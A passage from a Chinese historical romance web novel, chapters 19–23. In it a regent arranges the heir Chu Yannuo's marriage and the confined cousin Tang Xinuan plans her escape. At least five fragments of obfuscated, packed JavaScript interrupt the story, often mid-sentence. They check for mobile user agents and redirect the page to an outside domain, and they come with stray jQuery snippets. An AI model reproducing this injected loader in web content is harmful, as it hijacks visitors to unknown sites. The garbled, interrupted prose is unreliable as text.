魏国公年近花甲，一身石青色四爪蟒袍，既威严又尊贵。 他面上也是威严尊贵的。 “不必客气。” 楚衍诺请人上门说亲，被魏国公拒绝了。 他正愁找不到机会表现，摄政王就攒了这个局。 此刻没见到摄政王，他自然要殷勤一些，希望给魏国公一个好印象，让魏国公回心转意。 魏国公岂能看不出来。 要说京城这些没成亲的年轻人，楚衍诺算是出类拔萃的。 可他更看重大权独揽的摄政王。 毕竟皇上无子，又身患重疾，这大周朝早晚是摄政王的。 谁放着皇上的岳父不当，当侯爷的岳父。 19.第 19 章 楚衍诺和魏国公两人寒暄差不多的时候，端王终于到了。 先替他二哥道歉，之后招待两人喝酒。 周川行在几人酒至半酣的时候才到。 他的目的很直白，把楚衍诺从头发尖夸到脚后跟。 并且说明六部尚书一个比一个年纪大，三两年内肯定大换血。 只要楚衍诺有了拿得出手的政绩，这几个职位随便选。 还拉着魏国公的手，把楚衍诺的手放进他的手心里。 到底把楚衍诺推销出去了。 魏国公听到周川行夸楚衍诺还有什么不明白的，又在侯府上门提亲后。 肯定是受了侯府之托，摆了这次鸿门宴，想要撮合成两家的亲事。 魏国公自然也就清楚，周川行没有做他姑爷的想法。 放弃楚衍诺这棵优秀的苗子，未来的尚书，哪里再找这么合适的青年才俊。 更何况女儿喜欢。 罢了，罢了，就接受这门亲事吧。 “感谢摄政王和端王的美意，老夫就认了衍诺这个姑爷。” 楚衍诺激动的不知道如何是好。 他举起酒杯，先敬岳父，再敬摄政王和端王。 原本他以为摄政王是个不喜欢拉拢朝臣的人。 如今看来，他是深爱自己的才华，想要把自己培养成才，以后成为他手中的一把利刃。 连亲事都亲自出面帮他撮合。 这一刻，楚衍诺是真心感激周川行的。 “摄政王，以后衍诺为您马首是瞻，势要为大周朝鞠躬尽瘁死而后已。” 周川行面不改色的喝了魏国公和楚衍诺的敬酒。 端王不敢置信的端着酒杯，一时竟然不知道说什么好。 原来他只知道二哥用兵如神，没想到二哥在拿捏人心这块，竟也如此擅长。 三言两语就定下了魏楚两家的亲事。 楚世子也算颇有智慧，可他以为二哥是看中他的才华，真心想把他培养成尚书。 这才对他如此用心。 殊不知，二哥已经把他卖了，他还在帮二哥数银子。 “端王……”楚衍诺端着酒杯要敬端王酒，喊了两声，端王才回过神来，真心恭喜道，“祝魏国公和楚世子，好事成双。” 他一口干了杯中酒，“对了，楚世子婚礼打算定在什么时候？” 魏国公不想太早把女儿嫁出去。 “等楚世子去北域回来……” 周川行握住魏国公的手，没让他说完，“魏国公，楚世子也老大不小了，等他回来至少得两三年，这不孝有三无后为大，怎么也得让楚世子早点给侯府要个孙子，要我看……婚事就定在一个月内……下月初八就是黄道吉日吧，就这天吧。” 魏国公：“……” 楚衍诺没想这么快，他两个月后才走，婚礼可以尽量往后拖拖。 最好成完亲就走。 等他再回来，儿子有了，媳妇也就没用了。 他就可以和表妹两个人…… 周川行怎么可能猜不到他打什么主意。 “王爷，是不是太快了点……”楚衍诺还想挣扎一下。 周川行一派淡定的笑道，“快什么，本王还想参加你们的婚礼，再晚本王要微服出巡，可就错过了。” 端王附和道：“就是，一个月呢，什么准备不好，再说还有礼部呢，缺什么少什么，直接跟本王说，本王这里随时候命。” 如果是原来，端王说出这种话，楚衍诺肯定怀疑他有什么目的。 可他这两天听说端王在追求三妹。 应该是想在婚礼上出点力，哄他三妹高兴。 “如此，有劳端王了。” 就这么婚礼定在五月初八。 酒宴散后，周川行吩咐端王：“派两个机灵的混进侯府。” 端王笑道：“放心吧，我明天就去办，这两天侯府肯定忙，正好趁机混进去，能悄默声把人带出来最好，实在不行，二哥你就得自己想办法了。” 想起酒席中楚世子的表现，端王就忍不住笑。 “二哥，你也太腹黑了点，这些人被你玩死都不知道怎么死的。我也真好奇，等有一天楚世子发现真相，会是什么心情。” 唐兮暖早就知道侯府在给表哥议亲了。 可听到婚礼定在五月初八的时候，还是有些恍惚。 放手的决定下的并不容易。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229340|181050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她从五岁认识表哥开始，便全心全意的依靠着他。 她的世界里，除了表哥再也没有旁人。 可是表哥为什么连一个名分都不肯给她！ 名分不给也就罢了，她想要一个属于两人的孩子也是奢望。 三年间，她一共喝了一百九十三碗避子汤。 每次闻到那股难以下咽的汤药味，她就觉得自己的心被表哥用刀子一刀一刀挖得鲜血淋漓。 明明她那么依赖他。 也能觉察到他的疼爱。 却把她的心隔开的越来越远。 问题到底出现在了哪里！ 很多人都说她是傻子，她连这么简单的问题都想不清楚，她确实很傻。 “小姐，您别难过，以后咱们就离开这里了，开始新的生活，这里就当一段过去吧。” 唐兮暖没吭声。 今天的点心有点腻，可她还是忍不住多吃了一些。 后半夜小腹绞痛，她不想看大夫，咬牙忍下来了。 第二天浑身无力，她软绵绵的躺在床上不想起。 小倩告诉她表哥来了，想直接进她的卧室，被小倩拦下来。 她心不在焉的穿好衣服，出去见人。 “表哥——” 这是唐兮暖第一次见到表哥没有惊喜，没有笑，神色淡淡的，仿佛只是在见一个正常的亲人。 楚衍诺这两天既要忙朝事还要忙亲事，分身无暇。 好不容易才抽出些时间赶过来看表妹。 偏偏表妹神色淡淡的。 一看就在因为婚事跟他置气。 他必须狠下心肠，不能因为表妹闹脾气就改变决定。 毕竟这偌大的侯府得有一个聪明女人管理。 而他也得要一个正常健康的孩子，将来继承爵位。 表妹做不到，他不能太自私。 “暖暖，”楚衍诺把人拉进怀里，极尽轻柔的给她整理发髻。 “别置气，表哥心里始终只有你一个，婚事不过是应付差事，等办完婚礼，我就带你去北域，三年后才回来，那时……” 魏敏娴肯定生下了儿子。 他就可以全心全意的只待表妹一个。 20.第 20 章 唐兮暖始终没有说话。 楚衍诺还有要事，并没在翠竹园待多久。 走前亲了唐兮暖的脸蛋。 唐兮暖待他出门后，狠狠擦了脸，恨不得把被他亲过地方擦下一层皮。 “小姐，别擦了，再擦就擦坏了，”小倩注意到她奇怪的行为，赶紧拦着。 唐兮暖不吭声，晶莹剔透的泪珠子吧嗒吧嗒往下落。 小倩心疼她，“小姐，奴婢知道您委屈，可两家的婚事都定下来了，改不了了，以后咱忘了这里，重新开始。” 唐兮暖听进去了。 她捏着帕子把眼泪擦干。 “这是我最后一次为他哭了，从现在开始，他就只是我的表哥。” 小倩还在盘算逃出去的事。 本来和端王约好第二天见面。 可最近府里管的很严，连她想出翠竹园都得经过世子爷的允许。 是以一直没找到机会。 不过最近府里开始大肆采买，布置婚房，修建有问题的园林。 这么严的监管不可能一直维持下去，只要等，总能找到机会。 楚衍诺和魏家定下婚事的第三天。 早朝上，从五品御史中丞郑建安把楚衍诺弹劾了。 弹劾他毫无能力却添居户部侍郎之职，上任一年以来毫无建树，但凡有脸有皮都该自动请辞。 当然人家是文人，奏折不是这么写的。 不过意思差不多。 楚衍诺听后脸色大变。 指着郑建安质问：“我与你无冤无仇，你为什么要拿这些子虚乌有的罪名弹劾我？” 自问他上任以来，兢兢业业，比大部分富家子弟做的都好。 郑建安有理有据，还真给他列出了几条。 气得楚衍诺脸色铁青，如果不是在朝堂上，他恨不得把人打一顿。 周川行自然是站在楚衍诺这边的。 他尽力把郑建安安抚下去。 没想到这个郑建安像喝了什么疯药，见谁咬谁。 逮谁骂谁。 一句话不顺心，指责周川行是暴君，倒行逆施，穷兵黩武，让大周朝穷困潦倒，民不聊生。 他一顿疯狂输出，把朝中所有大臣都骂懵了。 要知道周川行是武将出身，带兵打仗十几年，杀人如麻，早就练就一副铁石心肠。 虽然最近没怎么杀过人。 可他刚刚带兵还朝的时候，清理过不少敌对党羽。 否则皇上卧病在床好几年，他一个在外带兵的将领，怎么可能顺利接手大权。 还记得一年前的太傅，因为反对周川行，被他当着众文武百官的面斩杀。 并朱全族。 一夜之间，太傅事件牵连好几百人，无一生还。 可以说，那是周川行入朝的第一次大清洗。 之后谁还敢不知死活的和他明着对着干。 郑建安骂完，整个金銮殿静悄悄的，连唯诺的呼吸声都听不见。 楚衍诺倒是轻松下来。 这个郑建安仗着自己是虞国公的儿子，竟然不知死活的辱骂摄政王，等死吧。 周川行确实很生气。 不管以前带兵打仗，还是如今摄政，他都兢兢业业，不曾有半点私心。 可在御史中丞的眼里，竟然是一个穷兵黩武不顾百姓死活的暴君。 “散朝，”他满心疲惫地摆摆手，“郑建安留下。” 文武百官充满惋惜的看了一眼郑建安。 可惜了这么一个年轻人，还不知道被周川行怎么折磨。 满朝文武散去后，周川行开始处理奏折。 郑建安一直跪在地上。 刚才骂得有多狠，这会就有多后悔。 他还有血海深仇没报，一个没摁住竟然连摄政王都骂了。 大周朝确实打了几十年的仗，致使今天的大周朝摇摇欲坠，民不聊生，可都推到摄政王身上，似乎有失公允。 可他骂楚衍诺骂上头了。 一个负心薄幸的人渣。 也就是他现在人微言轻，否则非把他个人渣送进大牢。 周川行不说话，郑建安弄不清楚他什么意思。 为了血海深仇，他决定低一回头。 “摄政王，微臣……刚才……主要是想骂楚世子，一时没控制住……还请摄政王恕罪。” 端王去而复返，他走到周川行身边，低声问：“真想处置他？” 周川行使劲捏着眼前的奏折 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16238168|181050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，恨不得把跪在前边的人大卸八块。 不过最终还是忍下这口气。 “送天牢去，让他长长脑子。” “好嘞，”端王大步流星走到郑建安身后拎起他的脖领子，“走吧。” 郑建安说什么都不肯去，“摄政王，你不能关我，要打要罚随便，但是我不能去大牢，我还要亲眼看着楚衍诺成亲，我还要祝他百子千孙……” 端王好笑道：“你刚才骂人的时候就应该想到这个结果，现在我二哥只把你丢进天牢，已经是便宜你了。” 无论郑建安怎么挣扎，端王都不肯松手，到底亲自把人送进了天牢。 …… 侯府的婚礼还在紧锣密鼓的准备着。 一方是侯府，一方是魏国公府，不是皇亲国戚也是朝中重臣，婚礼规模格外浩大。 又有摄政王关注，亲自命了礼部照应。 婚礼的规模又上了一个层次。 楚衍诺不敢怠慢，忙得侯府一个人恨不得当两个人。 这就导致对翠竹园的看管越来越松。 小倩终于找到机会来到了端王府。 端王亲自接待的。 得知侯府的情况，很快通知了周川行。 唐兮暖已经做好准备，大婚当晚，她就和小倩一起离开侯府。 这些天，她一直安安静静的，不吵不闹，也不见楚衍诺。 除了每天早晨会在青柠等人的监视下给侯夫人请安外，她没有任何机会踏出翠竹园。 就连楚衍晴想去翠竹园陪陪她，都被拦住。 今天晚上，她喝了一碗南瓜粥，之后坐在画板前画侯爷和侯夫人。 可能是这些天被看的太紧，导致她神经紧绷，竟然出现了幻觉。 “唐姑娘——” “唐姑娘——” 好像有男人喊她。 唐兮暖揉了揉手腕，寻着声音回头。 随即不敢相信的瞪大眼睛，那天在皇宫里见到的男人怎么出现在她的闺房里了？ 她眨着朦胧的双眼四处寻视一遍，确定这是自己的卧室。 “你……是那天送我书籍又反悔的人？” 周川行：“……” 倒也不用记得这么清楚。 21.第 21 章 匆匆一别，周川行已经三十七天没见过眼前这位姑娘了。 此刻他竭力克制着自己。 生怕自己做出什么不适的动作，惊吓到小姑娘。 “是我。” 他晃了晃手里的《九章算术》，“是我小气了，特意给你送过来。” 唐兮暖现在的注意力显然不在书上，她没想到足不出户还能遇到熟人。 一双漂亮的瞳眸有惊喜流露出来。 她悄悄望了一眼外边，“偷偷来的？没被发现？” 周川行点了点头，“嗯。” 唐兮暖很开心。 她一直觉得自己的生活全部围着表哥在转。 原来她也有朋友。 额，大半夜避开侍卫跑来见她的人，应该是朋友吧。 尽管只见过一面。 “给你看我画的，”她伸手拉住周川行，把他带到自己的小书房，“这是我的爹娘和哥哥，这是小倩，这是翠竹园，这是我画的小鸟，这是……” 前段时间她亲手设计了一座阁楼，盼着以后有机会建造出来，和表哥一起住进去避暑。 如今表哥已经成了别人的未婚夫，彻底没必要了。 唐兮暖失神片刻，两手扯住要撕，被周川行拦住。 “别撕。” 唐兮暖毫不犹豫道：“你喜欢的话送给你好了。” “我喜欢，”周川行飞快整理好，放进怀里。 小姑娘一手丹青妙笔，每幅画画的都很好。 只不过她父母和哥哥都没有五官。 想来是她离开父母太早，忘了他们的样子。 唐兮暖一股脑分享完她近日来的画作，才想起自己还没问她这位好朋友的来意。 “对了，你来做什么？” 周川行将所有看过的画作都收起来，认认真真地瞧着眼前的小姑娘。 不过一个月没见，竟然清瘦了许多。 侯府不养人，山珍海味也滋润不了小姑娘的身体。 “我来，是因为，我需要你的帮助。” 唐兮暖怀疑今晚的情景都是她自己幻想出来的。 “你……需要我的帮助？” 周川行认真点头：“简单解释一下，就是地主家的傻儿子，家里有几亩薄田，被族人惦记上了，族人不光想要他的田，还想要害死他，他一个人应付不来，所以想请你帮忙。” 每一个字，唐兮暖都明白它的意思。 可合到一起，就有些无法理解。 “我能做什么？” 周川行认真道：“你是我见过最聪明的姑娘，如果连你都帮不了我，那我……只能等着被人害死了。” 死这个字眼太重，唐兮暖脑海里不由得浮现出小时候被送入侯府的情景。 其实她长这么大极少有感觉到痛处的时候。 此刻成为了例外。 仿佛心口被人挖开一个大口子。 血淋淋的。 她有些滞闷的看着眼前的人，“他们好坏。” 周川行一个疆场杀伐十几年，早就练就一副钢铁心肠的男人，第一次流露出担心害怕的可怜神色。 “没有你，我真不知道怎么办了。” 唐兮暖在认真思索这件事。 如果忽然冒出一个男人要带她走，说什么保护她，疼爱她，养她爱她，她不一定相信。 但需要她的帮助…… 这是她从小到大，第一次遇到这种事。 “我能行？” 周川行毫不犹豫道：“你那么聪明，一定能行。” 唐兮暖感觉自己被需要了。 好像她的生命也有了意义。 虽然大家都觉得她是个傻子，可眼前的人比她还笨。 确实需要她的保护。 经过片刻的思索，她决定好了，“既然你这么相信我，那我帮你。” 周川行伸手去拉她的手，“我带你走。” 唐兮暖下意识躲开，“我不走。” 周川行的神色有些绷不住，他以为两个人已经说好，小姑娘随时可以跟他一起离开了。 “为什么？你舍不得这里？” 唐兮暖自然不是舍不得这里。 她只是有自己的想法。 “五岁的时候，是我自己走进的侯府，如今，我想自己走出去。” 心口莫名有股酸涩难掩的感觉涌上来。 唐兮暖红了眼睛。 这个圈禁了她十几年的地方，她要自己摆脱。 周川行愣了片刻，很快明白她的心思。 其实小姑娘什么都清楚。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16238169|181050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 只是说不出来而已。 到底是一个什么样的人，能把这么单纯的小姑娘逼到如此地步。 “那我等你。” 唐兮暖眼里一如刚才般澄澈干净，嘴角却染上一丝笑。 “表哥大婚那天晚上，你来门口等我吧。” “好，”周川行松了口气。 两个人约定好，周川行打算尽快离开。 侯府禁卫森严，万一被楚衍诺觉察到，只会增加小姑娘离开的难度。 可惜，现实没给他机会。 “小姐，世子爷来看您了。” 小倩的声音忽然传过来。 吓得屋里两个人都是一慌。 周川行虽然不怕楚衍诺，可他不想影响唐兮暖的计划。 毕竟这是小姑娘第一次策划出逃。 还是奔向他的怀抱。 所以他第一反应就是跳窗逃走。 翠竹园外边都是守卫，如今楚衍诺又亲自过来，不知道又增加多少守卫。 来时能够不声不响，可离开的时候，难保不会惊动防卫。 唐兮暖下意识拉住了他。 “去我卧室。” 她把人推进卧室，之后整理衣服蹦蹦跳跳的出了门。 “表哥——” 她主动扑进楚衍诺怀里，楚衍诺顺势接住她，“都这么大了，还这么莽撞。” 唐兮暖踮着脚，搂住楚衍诺的脖子，眼里亮晶晶的。 “表哥，他们都说你不会娶魏家姑娘，你心里想娶的人是我，对不对？” 一句话把楚衍诺心里的火浇的通透。 他满脸心虚移开眼睛，不敢再接触她充满期待的眼神。 “表妹，别听外人胡说。” 唐兮暖仿佛没看见他的神色，继续说：“我刚才画了嫁衣的图样，明天就让姑母请人做出来，到时候我就穿着它，高高兴兴的嫁给你，做你最美的新娘。 表哥，你想不想看我穿嫁衣的样子？” “暖暖……”楚衍诺心口仿佛被什么绞了一下。 表妹如此期待做他的新娘，可他…… “表哥还有事，暖暖早点休息，表哥忙完再过来看你。” 唐兮暖舍不得松开他，“表哥，你就这么走了吗？我的嫁衣你还没看呢。” 22.第 22 章 最终，楚衍诺落荒而逃。 唐兮暖望着他远去的背影，逐渐消失在视线里，红了眼眶。 被她当做一生依靠，全心全意信赖的人，正在从她的身体里一点一点的剥离。 “别难过，小姐，”小倩扶着唐兮暖回屋，“世子爷还有三天大婚，到时候咱们就自由了。” 唐兮暖点了点头。 有些怅然若失地回到卧室。 看见周川行站在屋里，忽然想起来，她这屋里还有个人。 “小倩，我想自己待一会儿。” 小倩跟在她身后，没注意到屋里的人，“小姐，奴婢就在门口，你有事叫我。” 唐兮暖关好门。 像霜打的茄子，垂着小脑袋来到周川行面前。 张开手臂，“抱抱。” 周川行有些怔愣，他低头打量着小姑娘，这会应该不是身高不够想取什么东西。 也就不可能是抱起她坐到自己肩膀上。 那就只可能是…… 周川行把人打横抱了起来。 唐兮暖：“……” 就知道这人比她笨。 她挣扎着起来，“不是这样抱抱。” 周川行像个刚刚接受启蒙的小童，老老实实站好，等着女先生指导。 唐兮暖扑进他怀里，先将他两手拉到自己身后，然后纤细的藕臂伸长紧紧环住他的后背。 小脸紧紧贴着他的胸口。 “抱紧我。” 她蹭了蹭男人的胸口，软软糯糯地说道。 周川行忽然感觉自己心跳如鼓。 一个月前在勤政殿，他是第一次抱小姑娘。 今天是第二次。 生涩的比他第一次上战场杀敌还要慌张。 世上怎么有如此柔软的小姑娘，浑身都散发着诱人的香气。 他恨不得自己化身猛禽，把她吞进腹中。 他轻轻收紧手臂力道，将小姑娘完全拢进怀里。 唐兮暖心思简单，此刻脑海里也没什么复杂的想法。 再过几天，她就要和小倩去一个完全陌生的地方生活。 对于未知世界的恐慌，她不知道怎么形容。 可她想被人抱着安抚，甚至再亲密点的接触。 “你会亲亲吗？” 她仰头望着抱着她的男人，眼里并没有什么欲望。 周川行呼吸一紧，他确实没修过这门功课。 “你可以教我。” 唐兮暖努力踮起脚，想把唇送到男人的唇边。 可惜她太矮了，怎么努力都够不到。 心里有些憋闷，她绷着小脸开口：“你倒是低头呀。” 周川行：“……” 干脆坐到床边，将小姑娘抱进怀里。 接下来，周川行感觉到了什么叫软糯，什么叫欲罢不能，什么叫心动…… 恨不得揉碎了按进胸膛。 可他还得努力控制住自己。 完全由小姑娘主导着亲吻。 他仰着头，按捺着冲动老老实实承受着。 小姑娘摩挲着他的唇，时间仿佛静止了一般。 也不知道过了多久，在他几欲失控的时候，终于离开了他的唇。 随后落在他凸起的喉结上。 “嗯……” 喉咙滚动，他忍不住发出一声闷哼。 比被仇人按在绞刑架上还要难熬。 偏偏他什么都不敢做，生怕吓走了这只试试探探的小兔子。 不过两个人的亲密最终终结在唐兮暖去扯他的腰带。 被他给按住了。 “要了我的人，就得嫁给我，给我名分，你确定？” “男人也要名分？”这一刻唐兮暖的认知彻底被颠覆。 她从来没想过这个问题。 而且，不都是男人给女人名分吗，为什么她们两个会反过来？ 她被禁锢在侯府十几年，只能接触到几个人的情况下，也不可能想到这个问题。 “当然，”周川行握着她的小脸，拇指按在她红润的唇瓣上，上边还留有他的气息，“爱情是相互的，女人想要名分，男人自然也想要。” 唐兮暖理解不了周川行的想法。 表哥从来没想过给她名分。 应该也不稀罕她给不给名分。 “为什么？” 周川行盯着她过分纠结的眼睛，那里有他看不懂的迷茫。 “因为，”他握着小姑娘的手放在自己的心口上，“我想让全天下的人都知道，你是我的妻子，也想让全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247942|181050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天下的人都知道，我是你的丈夫。” 妻子。 丈夫。 唐兮暖又忍不住落了泪。 表哥不要她做妻子，也不要做她的丈夫。 他们两个在外人眼里，永远都是表哥和表妹的关系。 “别哭，”周川行看见她落泪，心都要碎了，“有些事情一下想不清楚，就不要想，跟着自己的心意走。” 唐兮暖确实想不清楚。 她低着头，声音小小的，连她自己都快听不清楚了。 “我不知道怎么才能给一个男人名分。” 周川行把人抱起来放到床上，随后蹲在她面前，极尽温柔的给她把眼泪擦掉，柔声道：“我希望你这两天考虑好，要不要嫁给我，只有嫁给我，才能发生关系，懂？” 唐兮暖不太懂。 她不知道发生关系和嫁给他有什么必然联系。 她懵懵懂懂地看着眼前的人，片刻后，点了点头。 “嗯。” 不过还有疑虑，“如果我不能给你名分，你就不要我帮你了吗？” 周川行弯起唇角，“这是两件事，你帮我出于我们两个人是朋友，至于名分……不着急，等你想清楚再说。” “我们是朋友？”唐兮暖从来没有过朋友。 这府里和她最近的就是小倩，可两个人是主仆。 大姐二姐没出嫁的时候，倒是对她特别关照，可自从出嫁，一年也见不到几回。 表妹对她也好，可表妹是亲人。 周川行点了点头：“嗯，你愿意做我的朋友吗？” 唐兮暖从来没像此刻这般高兴过，“我有朋友了，你是我第一个朋友。” 周川行调查过，知道唐兮暖一直被楚衍诺圈禁着，可他不知道楚衍诺竟然变态到这种地步，连交朋友的权利都剥夺。 “嗯，我是你第一个朋友，等你离开这里，还会有第二个朋友，第三个朋友，很多很多朋友。” 唐兮暖幻想着一群朋友出去踏青，看花灯，听戏，追逐打闹的样子，她好期待。 “拉钩钩，表哥大婚那天，你一定要来等我。” “好，拉钩。” 周川行伸出小拇指，跟她柔软白润的小指勾在一起。 “我一定会来。” 23.第 23 章 周川行伸出小拇指，跟唐兮暖柔软白润的小指勾在一起。 “我一定会来。” 这是他第一次给一个姑娘做出承诺，一定会言出必行。 好不容易再见，周川行舍不得离开。 眼看着天色快亮了，小姑娘看着还算精神，可也连续打了好几个哈欠。 他不得不走。 “唐姑娘，”周川行还有要事嘱咐。 唐兮暖两手撑着自己的小脸，也不知道在想什么，心情似乎还不错。 “嗯？” 周川行迟疑着点了点她的唇瓣。 唐兮暖没明白他的意思。 实在难以出口，周川行抿了下薄唇，“在不能给一个男人名分，那个男人也不能给你名分的时候，不能和他亲亲。” 唐兮暖不太懂，但也不是完全不懂。 表哥给不了她名分，她现在回忆起和表哥在一起的日子，心里就格外不舒服。 甚至隐隐已经有了后悔的迹象。 “知道了。” 周川行又道：“更不能解……他的腰带，如果有男人在你面前主动这么做，他一定是坏人，要学会保护自己，逃跑、呼救、用你能抓到的一切东西打他，比如发簪、身边的花瓶、剪刀等等，用一切你能想到的办法。 明白吗？” 从来没有人教过唐兮暖这些。 因为在这侯府里，能接触到的男子也就表哥、姑丈以及教她读书识字的先生。 小时候侯夫人请过教养嬷嬷。 不过只教几天就被表哥拒了。 她一直以为是表哥疼爱她的行为。 如今她懵懵懂懂的发现，表哥好像剪断了她身上什么东西。 “明白，”唐兮暖认认真真的点头。 周川行赞许地揉了揉她小脑袋。 她一头乌黑飘逸的长发，触摸到手里，烫的手心发热。 周川行继续叮嘱：“别人摸你脑袋，也不行。” 唐兮暖诧异道：“那你……” 周川行勾唇笑了：“我不一样，我是想给你名分，也需要你给名分的人。” 唐兮暖一直过得浑噩，不过周川行每一句话她都听进去了，并且认真记在心里。 离开后付侯府后，她不知道会面对什么。 可在保护自己这件事上，她是很认真的在思考。 表哥给不了名分，却扯开她的腰带。 是坏人。 她目送周川行跳窗离开，略有些疲惫的俏脸上，逐渐绽放出灿如朝阳般的笑容。 仿佛院子里刚刚盛开的花朵。 周川行对她说完最后一句：“去睡觉吧，”随后离开翠竹园。 三天时间，很快的。 唐兮暖也是困极了，回到床上便进入了睡眠。 一直到下午才醒。 周川行在唐兮暖闺房待了将近一宿，自然逃不开小倩的眼睛。 本来她是想着阻止的，不过世子爷欺人太甚。 她不希望小姐的心思全放在世子身上。 免得逃出侯府后，小姐放不下再返回来找他。 再者，周川行对小姐并没有世子那么坏。 至少，他不会解开小姐的衣裙。 算是个君子。 最重要的是，他能在侯府来去自如。 应该是个很厉害的人物。 如果真心对小姐，也能做个依靠。 快到中午小姐还没醒，她喊了两回，想让小姐吃点东西。 不过小姐太困了，怎么都喊不醒。 只能把饭菜准备好，让小姐一睡醒就能吃到。 今天世子没来，应该是在忙大婚的事。 唐兮暖睡饱吃好，浑身舒畅。 又没有表哥打扰，越发轻松自在。 “小姐，”饭后，小倩趁着小姐心情好的时候，悄悄问她，“昨晚那个男人，是谁啊？” 唐兮暖没有瞒着小倩的事。 不过她确实不知道。 “在宫里认识的，对了，那块玉佩就是他送我的。” 小倩见过好几次端王了。 听端王口中提过，那块玉佩是他一个朋友的。 端王穿着不俗，出门又前呼后拥跟着许多侍卫，一看就非富即贵。 那他的朋友应该也差不了。 小倩稍微放心些，“希望他是个好人。” 唐兮暖有感觉，“他肯定是个好人。” 小倩不太相信小姐的眼光，“您之前还觉得世子是好人呢。” 她说完后知后觉，担心小姐伤心，急忙捂住嘴。 唐兮暖并不会因为一句话生气。 “那个时候年纪小，再说，我能见到的同龄男人，也就表哥一个。” 楚衍诺大婚前一天。 唐兮暖所画的侯爷和侯夫人的画像终于完工了。 一大早给侯夫人请安的时候，她亲自捧着送过去的。 “姑母，”唐兮暖跪在地上，给侯夫人磕了一个头。 之后她将画像交给小倩，示意她递给姑母。 侯夫人亲手展开画像，竟然是她和丈夫两个人手牵手站在海棠树下的情景。 画像里，两个人还年轻，她身穿一身藕粉色抹胸长裙，娇艳又恣意。 而侯爷一身官服，满眼深情地凝视着她。 想他们夫妻将近三十年，伉俪情深，恩爱和睦，不知不觉竟然到了这般年纪。 唯一美中不足的便是，侯爷身体不好，十年前出行便需要人伺候。 这两年已经不能下地。 否则，这个家也不会由着儿子做主。 “暖暖……” 侯夫人红了眼睛。 她将画像放到旁边，起身扶起宝贝侄女，“好孩子，有心了。” 唐兮暖也红了眼睛，“暖暖感激姑母这么多年的照顾，以后……” 她没说完，嗓子实在哽着难受。 侯府人像是有预感般，拍了拍她的手背，“暖暖，这些年委屈你了，姑母对不起你，也对不起你爹，九泉之下……姑母……” 她擦掉眼泪，转而笑着说，“不管你想做什么，姑母都支持你，永远站在你这边。” 唐兮暖真心感激姑母。 自从五岁进府，作为罪臣之女，她却能过着锦衣玉食、小姐般的生活，全仗着姑母。 其实姑母也是委屈的。 她有好几次听见表哥顶撞姑母。 指责姑母是罪臣之女，罪臣之妹，没有侯府的庇护，她早被一起发落了。 那个时候唐兮暖不懂。 如今回忆起来，竟然犹如刀刀刺在紧要部位，痛不欲生。 “谢谢姑母，暖暖… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16258158|181050||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 她哽咽着说，“不管在什么地方，都会活得好好的，不给唐家丢脸。” 侯夫人忍不住，将这个柔弱不懂人情世故的小侄女抱进怀里。 紧紧的舍不得松手。 “暖暖，一定要幸福。” 唐兮暖请完安，回了翠竹园。 楚衍晴总觉得今天的表姐不对劲。 等人离开后，她把所有婢女都打发出去，对侯夫人说：“娘，我表姐她……是不是要离开了？” 侯夫人有些失神的握着水杯。 半晌才心不在焉地开口，“我们唐家虽然是获罪人家，可没有一个是上不了台面的，不该一直被人折辱，她该有更好的生活。” 楚衍晴从出生起，表姐就在府里生活。 因为两人年纪相近，比她的两个亲姐姐都亲。 到底不是正常人，她怎么能不担心。 “可是我表姐……” 